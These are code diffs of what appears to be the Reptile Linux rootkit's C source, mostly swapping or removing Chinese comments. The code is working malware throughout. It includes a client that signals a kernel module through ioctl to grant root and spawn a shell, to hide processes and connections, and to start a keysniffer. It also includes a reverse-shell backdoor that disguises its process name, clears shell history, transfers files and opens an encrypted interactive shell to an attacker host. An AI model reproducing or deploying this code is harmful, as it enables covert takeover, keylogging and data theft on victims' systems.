} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
free(data);
return EXIT_SUCCESS;
}

@ -10,210 +10,178 @@
#include <sys/types.h>
#include <unistd.h>
// 定义默认的shell路径
#define SHELL "/bin/bash"
/**
* @brief
*/
struct control {
unsigned short cmd; // 命令类型
void *argv; // 命令参数
unsigned short cmd;
void *argv;
};
/**
* @brief
* @param argc
* @param argv
* @return int
*/
int main(int argc, char **argv)
{
int sockfd; // 套接字文件描述符
struct control args; // 控制结构体实例
struct sockaddr_in addr; // 地址结构体实例
struct hostent *host; // 主机信息结构体指针
unsigned int pid; // 进程ID
char *bash = SHELL; // shell路径
char *envp[1] = {NULL}; // 环境变量数组
char *arg[3] = {SHELL, NULL}; // 执行shell的命令参数
// 如果参数少于2个退出程序
if (argc < 2)
exit(0);
// 创建TCP套接字
sockfd = socket(AF_INET, SOCK_STREAM, 6);
if (sockfd < 0)
goto fail; // 如果创建失败跳转到fail标签
// 如果第一个参数是"root"
if (strcmp(argv[1], "root") == 0) {
// 如果已经是root用户提示并关闭套接字后退出
if (geteuid() == 0) {
printf("You are already root! :)\n\n");
close(sockfd);
goto out;
}
args.cmd = 3; // 设置命令为3
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
ioctl(sockfd, AUTH, &args);
ioctl(sockfd, AUTH, HTUA);
}
// 如果成功获取root权限执行shell否则提示无权限
if (geteuid() == 0) {
printf("\e[01;36mYou got super powers!\e[00m\n\n");
execve(bash, arg, envp);
} else {
printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
}
goto out; // 跳转到out标签
}
// 如果第一个参数是"hide"或"show"
if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
// 如果参数少于2个跳转到fail标签
if (argc < 2)
goto fail;
// 如果只有一个参数,隐藏或显示所有连接
if (argc == 2) {
args.cmd = 0; // 设置命令为0
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
}
}
}
} else { // 如果有两个参数隐藏或显示指定PID的连接
args.cmd = 1; // 设置命令为1
pid = (unsigned int)atoi(argv[2]); // 将第二个参数转换为PID
args.argv = &pid; // 设置命令参数为PID
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
}
}
}
}
}
// 如果第一个参数是"file-tampering"
if (strcmp(argv[1], "file-tampering") == 0) {
args.cmd = 2; // 设置命令为2
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
}
}
}
}
// 如果第一个参数是"conn"
if (strcmp(argv[1], "conn") == 0) {
// 如果参数少于4个跳转到fail标签
if (argc < 4)
goto fail;
// 根据第四个参数设置命令为4hide或5show
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 4; // 设置命令为4
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 5; // 设置命令为5
} else {
goto fail; // 如果第四个参数不是"hide"或"show"跳转到fail标签
}
// 获取主机信息
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail; // 如果获取主机信息失败跳转到fail标签
// 复制主机地址到地址结构体中
memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
addr.sin_family = AF_INET; // 设置地址族为IPv4
addr.sin_port = htons(atoi(argv[3])); // 设置端口号
args.argv = &addr; // 设置命令参数为地址结构体指针
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
}
}
}
}
int sockfd;
struct control args;
struct sockaddr_in addr;
struct hostent *host;
unsigned int pid;
char *bash = SHELL;
char *envp[1] = {NULL};
char *arg[3] = {SHELL, NULL};
if (argc < 2)
exit(0);
sockfd = socket(AF_INET, SOCK_STREAM, 6);
if (sockfd < 0)
goto fail;
if (strcmp(argv[1], "root") == 0) {
if (geteuid() == 0) {
printf("You are already root! :)\n\n");
close(sockfd);
goto out;
}
args.cmd = 3;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
ioctl(sockfd, AUTH, &args);
ioctl(sockfd, AUTH, HTUA);
}
if (geteuid() == 0) {
printf("\e[01;36mYou got super powers!\e[00m\n\n");
execve(bash, arg, envp);
} else {
printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
}
goto out;
}
if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
if (argc < 2)
goto fail;
if (argc == 2) {
args.cmd = 0;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
} else {
args.cmd = 1;
pid = (unsigned int)atoi(argv[2]);
args.argv = &pid;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
}
if (strcmp(argv[1], "file-tampering") == 0) {
args.cmd = 2;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
if (strcmp(argv[1], "conn") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 4;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 5;
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
/*
UDPTCP使
if (strcmp(argv[1], "udp") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 6;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 7;
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}*/
if (strcmp(argv[1], "keysniffer") == 0) {
if (argc < 3)
goto fail;
if (strcmp(argv[2], "start") == 0) {
args.cmd = 6; // 假设6是启动keysniffer的命令
} else if (strcmp(argv[2], "stop") == 0) {
args.cmd = 7; // 假设7是停止keysniffer的命令
} else {
goto fail;
}
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
fail: // fail标签打印失败信息并关闭套接字
printf("\e[01;31mFailed!\e[00m\n");
out: // out标签关闭套接字并返回0表示程序结束
close(sockfd); // 关闭套接字文件描述符
return 0; // 返回0表示程序正常结束
}
// This part is deprecated. There is no reason to hide specific protocols
// when you want to hide some connection, in the most of cases you will
// need to hide every connection and everything about your attacker server.
if (strcmp(argv[1], "udp") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 6;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 7;
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
*/
fail:
printf("\e[01;31mFailed!\e[00m\n");
out:
close(sockfd);
return 0;
}

@ -15,7 +15,7 @@
#include "config.h"
#include "pel.h"
#define ERROR -1
#define ERROR -1
unsigned char message[BUFSIZE + 1];
extern char *optarg;
@ -23,239 +23,224 @@ char *rcfile;
#ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
}
#endif
// 获取文件
int get_file(int client)
{
int ret, len, fd;
int ret, len, fd;
// 接收文件名
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (message[0] == OUT)
return 1;
if (message[0] == OUT)
return 1;
message[len] = '\0';
message[len] = '\0';
// 打开文件
fd = open((char *)message, O_RDONLY);
fd = open((char *)message, O_RDONLY);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR);
// 读取文件内容并发送
while (1) {
len = read(fd, message, BUFSIZE);
while (1) {
len = read(fd, message, BUFSIZE);
if (len == 0)
break;
if (len < 0)
return (ERROR);
if (len == 0)
break;
if (len < 0)
return (ERROR);
ret = pel_send_msg(client, message, len);
ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS)
return (ERROR);
}
return 0;
if (ret != PEL_SUCCESS)
return (ERROR);
}
return 0;
}
// 上传文件
int put_file(int client)
{
int ret, len, fd;
int ret, len, fd;
// 接收文件名
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (message[0] == OUT)
return (ERROR);
if (message[0] == OUT)
return (ERROR);
message[len] = '\0';
fd = creat((char *)message, 0644);
message[len] = '\0';
fd = creat((char *)message, 0644);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR);
// 接收文件内容并写入
while (1) {
ret = pel_recv_msg(client, message, &len);
while (1) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
if (write(fd, message, len) != len)
return (ERROR);
}
return 0;
if (write(fd, message, len) != len)
return (ERROR);
}
return 0;
}
// 运行 shell
int runshell(int client)
{
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
// 打开伪终端
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
slave = ttyname(tty);
slave = ttyname(tty);
if (slave == NULL)
return (ERROR);
if (slave == NULL)
return (ERROR);
chdir(HOMEDIR);
putenv("HISTFILE=");
chdir(HOMEDIR);
putenv("HISTFILE=");
// 接收终端类型
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
message[len] = '\0';
setenv("TERM", (char *)message, 1);
message[len] = '\0';
setenv("TERM", (char *)message, 1);
// 接收窗口大小
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4)
return (ERROR);
if (ret != PEL_SUCCESS || len != 4)
return (ERROR);
ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR);
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR);
// 接收命令
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile));
if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile));
if (temp == NULL)
return (ERROR);
if (temp == NULL)
return (ERROR);
strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile);
} else {
message[len] = '\0';
temp = (char *)malloc(len + 1);
strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile);
} else {
message[len] = '\0';
temp = (char *)malloc(len + 1);
if (temp == NULL)
return (ERROR);
if (temp == NULL)
return (ERROR);
strncpy(temp, (char *)message, len + 1);
}
strncpy(temp, (char *)message, len + 1);
}
// 创建子进程
pid = fork();
pid = fork();
if (pid < 0) {
free(temp);
return (ERROR);
}
if (pid < 0) {
free(temp);
return (ERROR);
}
if (pid == 0) {
close(client);
close(pty);
if (pid == 0) {
close(client);
close(pty);
if (setsid() < 0) {
free(temp);
return (ERROR);
}
if (setsid() < 0) {
free(temp);
return (ERROR);
}
if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp);
return (ERROR);
}
if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp);
return (ERROR);
}
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
if (tty > 2)
close(tty);
if (tty > 2)
close(tty);
shell = (char *)malloc(10);
shell = (char *)malloc(10);
if (shell == NULL) {
free(temp);
return (ERROR);
}
if (shell == NULL) {
free(temp);
return (ERROR);
}
strcpy(shell, "/bin/bash");
strcpy(shell, "/bin/bash");
execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp);
free(shell);
execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp);
free(shell);
return 0;
} else {
close(tty);
return 0;
} else {
close(tty);
// 处理数据传输
while (1) {
FD_ZERO(&rd);
FD_SET(client, &rd);
FD_SET(pty, &rd);
while (1) {
FD_ZERO(&rd);
FD_SET(client, &rd);
FD_SET(pty, &rd);
n = (pty > client) ? pty : client;
n = (pty > client) ? pty : client;
if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR);
if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR);
if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len);
if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (write(pty, message, len) != len)
return (ERROR);
}
if (ret != PEL_SUCCESS)
return (ERROR);
if (write(pty, message, len) != len)
return (ERROR);
}
if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE);
if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE);
if (len == 0)
break;
if (len < 0)
return (ERROR);
if (len == 0)
break;
if (len < 0)
return (ERROR);
ret = pel_send_msg(client, message, len);
ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS)
return (ERROR);
}
}
return 0;
}
if (ret != PEL_SUCCESS)
return (ERROR);
}
}
return 0;
}
}
#ifdef _REPTILE_
@ -264,265 +249,247 @@ int runshell(int client)
#define UNHIDE 0
struct control {
unsigned short cmd;
void *argv;
unsigned short cmd;
void *argv;
};
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide)
{
struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
if (sockioctl < 0)
exit(1);
if (sockioctl < 0)
exit(1);
if (hide) {
args.cmd = 4;
} else {
args.cmd = 5;
}
if (hide) {
args.cmd = 4;
} else {
args.cmd = 5;
}
args.argv = &addr;
args.argv = &addr;
if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA);
}
if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA);
}
close(sockioctl);
close(sockioctl);
}
#endif
// 构建 rcfile 路径
int build_rcfile_path(void)
{
char *name = NAME;
int len = 6 + strlen(name) + strlen(name);
char *name = NAME;
int len = 6 + strlen(name) + strlen(name);
rcfile = (char *)malloc(len);
rcfile = (char *)malloc(len);
if (rcfile == NULL)
return -1;
if (rcfile == NULL)
return -1;
snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0;
snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0;
}
int main(int argc, char **argv)
{
int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0;
char *connect_back_host = NULL;
char *secret = NULL;
struct sockaddr_in client_addr;
struct hostent *client_host;
socklen_t n;
// 解析命令行参数
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
switch (opt) {
case 't':
connect_back_host = strdup(optarg);
break;
case 'p':
connect_back_port = atoi(optarg);
if (!connect_back_port) {
int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0;
char *connect_back_host = NULL;
char *secret = NULL;
struct sockaddr_in client_addr;
struct hostent *client_host;
socklen_t n;
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
switch (opt) {
case 't':
connect_back_host = strdup(optarg);
break;
case 'p':
connect_back_port = atoi(optarg);
if (!connect_back_port) {
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
goto out;
}
break;
case 's':
secret = strdup(optarg);
break;
case 'r':
delay = atoi(optarg);
break;
default:
goto out;
}
break;
case 's':
secret = strdup(optarg);
break;
case 'r':
delay = atoi(optarg);
break;
default:
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
exit(1);
break;
}
}
exit(1);
break;
}
}
if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) {
if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) {
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
goto out;
}
// 隐藏进程名称
arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out;
// 创建子进程
pid = fork();
if (pid < 0)
return (ERROR);
if (pid != 0)
return 0;
if (setsid() < 0)
return (ERROR);
for (n = 0; n < 1024; n++)
close(n);
do {
if (delay > 0)
sleep(delay);
client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
continue;
client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
continue;
memcpy((void *)&client_addr.sin_addr,
(void *)client_host->h_addr, client_host->h_length);
client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(connect_back_port);
ret = connect(client, (struct sockaddr *)&client_addr,
sizeof(client_addr));
if (ret < 0) {
close(client);
continue;
}
goto out;
}
arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out;
pid = fork();
if (pid < 0)
return (ERROR);
if (pid != 0)
return 0;
if (setsid() < 0)
return (ERROR);
for (n = 0; n < 1024; n++)
close(n);
do {
if (delay > 0)
sleep(delay);
client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
continue;
client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
continue;
memcpy((void *)&client_addr.sin_addr,
(void *)client_host->h_addr, client_host->h_length);
client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(connect_back_port);
ret = connect(client, (struct sockaddr *)&client_addr,
sizeof(client_addr));
if (ret < 0) {
close(client);
continue;
}
#ifdef _REPTILE_
hide_conn(client_addr, HIDE);
hide_conn(client_addr, HIDE);
#endif
ret = pel_server_init(client, secret);
ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS) {
shutdown(client, 2);
if (ret != PEL_SUCCESS) {
shutdown(client, 2);
#ifdef _REPTILE_
hide_conn(client_addr, UNHIDE);
hide_conn(client_addr, UNHIDE);
#endif
continue;
}
connect:
ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0)
goto end;
switch (message[0]) {
case GET_FILE:
ret = get_file(client);
if (ret)
goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case PUT_FILE:
put_file(client);
goto connect;
case RUNSHELL:
runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case SET_DELAY:
if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS)
goto end;
if (message[0] == 5)
goto connect;
message[len] = '\0';
delay = atoi((char *)message);
goto connect;
case 'K': // 添加 keysniffer 命令处理
if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
goto end;
if (strcmp((char *)message, "start") == 0) {
start_keysniffer();
}
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
}
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
default:
break;
}
}
end:
shutdown(client, 2);
continue;
}
connect:
ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0)
goto end;
switch (message[0]) {
case GET_FILE:
ret = get_file(client);
if (ret)
goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case PUT_FILE:
put_file(client);
goto connect;
case RUNSHELL:
runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case SET_DELAY:
if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS)
goto end;
if (message[0] == 5)
goto connect;
message[len] = '\0';
delay = atoi((char *)message);
goto connect;
default:
break;
}
}
end:
shutdown(client, 2);
#ifdef _REPTILE_
hide_conn(client_addr, UNHIDE);
hide_conn(client_addr, UNHIDE);
#endif
} while (delay > 0);
} while (delay > 0);
out:
if (connect_back_host)
free(connect_back_host);
if (connect_back_host)
free(connect_back_host);
if (secret)
free(secret);
if (secret)
free(secret);
return 0;
}
return 0;
}

@ -14,42 +14,42 @@
#include "pel.h"
#include "sha1.h"
/* 全局数据 */
/* global data */
int pel_errno;
struct pel_context {
/* AES-CBC-128 变量 */
/* AES-CBC-128 variables */
struct aes_context SK; /* Rijndael 会话密钥 */
unsigned char LCT[16]; /* 最后一个密文块 */
struct aes_context SK; /* Rijndael session key */
unsigned char LCT[16]; /* last ciphertext block */
/* HMAC-SHA1 变量 */
/* HMAC-SHA1 variables */
unsigned char k_ipad[64]; /* 内部填充 */
unsigned char k_opad[64]; /* 外部填充 */
unsigned long int p_cntr; /* 数据包计数器 */
unsigned char k_ipad[64]; /* inner padding */
unsigned char k_opad[64]; /* outer padding */
unsigned long int p_cntr; /* packet counter */
};
struct pel_context send_ctx; /* 用于加密传出数据 */
struct pel_context recv_ctx; /* 用于解密传入数据 */
struct pel_context send_ctx; /* to encrypt outgoing data */
struct pel_context recv_ctx; /* to decrypt incoming data */
unsigned char challenge[16] = /* 版本特定 */
unsigned char challenge[16] = /* version-specific */
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6"
"\x29\x83\x95\x71\x1D\xDE\x58\x0D";
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6"
"\x29\x83\x95\x71\x1D\xDE\x58\x0D";
unsigned char buffer[BUFSIZE + 16 + 20];
/* 函数声明 */
/* function declaration */
void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]);
unsigned char IV[20]);
int pel_send_all(int s, void *buf, size_t len, int flags);
int pel_recv_all(int s, void *buf, size_t len, int flags);
/* 会话初始化 - 客户端 */
/* session setup - client side */
int pel_client_init(int server, char *key)
{
@ -58,7 +58,7 @@ int pel_client_init(int server, char *key)
struct sha1_context sha1_ctx;
unsigned char IV1[20], IV2[20];
/* 生成两个初始化向量 */
/* generate both initialization vectors */
pid = getpid();
@ -90,26 +90,26 @@ int pel_client_init(int server, char *key)
memcpy(IV2, &buffer[20], 20);
/* 将它们传递给服务器 */
/* and pass them to the server */
ret = pel_send_all(server, buffer, 40, 0);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 设置会话密钥 */
/* setup the session keys */
pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2);
/* 握手 - 加密并发送客户端的挑战 */
/* handshake - encrypt and send the client's challenge */
ret = pel_send_msg(server, challenge, 16);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 握手 - 解密并验证服务器的挑战 */
/* handshake - decrypt and verify the server's challenge */
ret = pel_recv_msg(server, buffer, &len);
@ -127,14 +127,14 @@ int pel_client_init(int server, char *key)
return (PEL_SUCCESS);
}
/* 会话初始化 - 服务器 */
/* session setup - server side */
int pel_server_init(int client, char *key)
{
int ret, len;
unsigned char IV1[20], IV2[20];
/* 从客户端获取 IVs */
/* get the IVs from the client */
ret = pel_recv_all(client, buffer, 40, 0);
@ -144,12 +144,12 @@ int pel_server_init(int client, char *key)
memcpy(IV2, &buffer[0], 20);
memcpy(IV1, &buffer[20], 20);
/* 设置会话密钥 */
/* setup the session keys */
pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2);
/* 握手 - 解密并验证客户端的挑战 */
/* handshake - decrypt and verify the client's challenge */
ret = pel_recv_msg(client, buffer, &len);
@ -162,7 +162,7 @@ int pel_server_init(int client, char *key)
return (PEL_FAILURE);
}
/* 握手 - 加密并发送服务器的挑战 */
/* handshake - encrypt and send the server's challenge */
ret = pel_send_msg(client, challenge, 16);
@ -174,10 +174,10 @@ int pel_server_init(int client, char *key)
return (PEL_SUCCESS);
}
/* 该例程计算 AES 和 HMAC 会话密钥 */
/* this routine computes the AES & HMAC session keys */
void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20])
unsigned char IV[20])
{
int i;
struct sha1_context sha1_ctx;
@ -202,7 +202,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key,
pel_ctx->p_cntr = 0;
}
/* 加密并传输消息 */
/* encrypt and transmit a message */
int pel_send_msg(int sockfd, unsigned char *msg, int length)
{
@ -210,7 +210,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
/* 验证消息长度 */
/* verify the message length */
if (length <= 0 || length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH;
@ -218,16 +218,16 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_FAILURE);
}
/* 将消息长度写入缓冲区开始位置 */
/* write the message length at start of buffer */
buffer[0] = (length >> 8) & 0xFF;
buffer[1] = (length)&0xFF;
/* 追加消息内容 */
/* append the message content */
memcpy(buffer + 2, msg, length);
/* 向上取整到 AES 块长度 (16 字节) */
/* round up to AES block length (16 bytes) */
blk_len = 2 + length;
@ -235,7 +235,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
blk_len += 16 - (blk_len & 0x0F);
}
/* 使用 AES-CBC-128 加密缓冲区 */
/* encrypt the buffer with AES-CBC-128 */
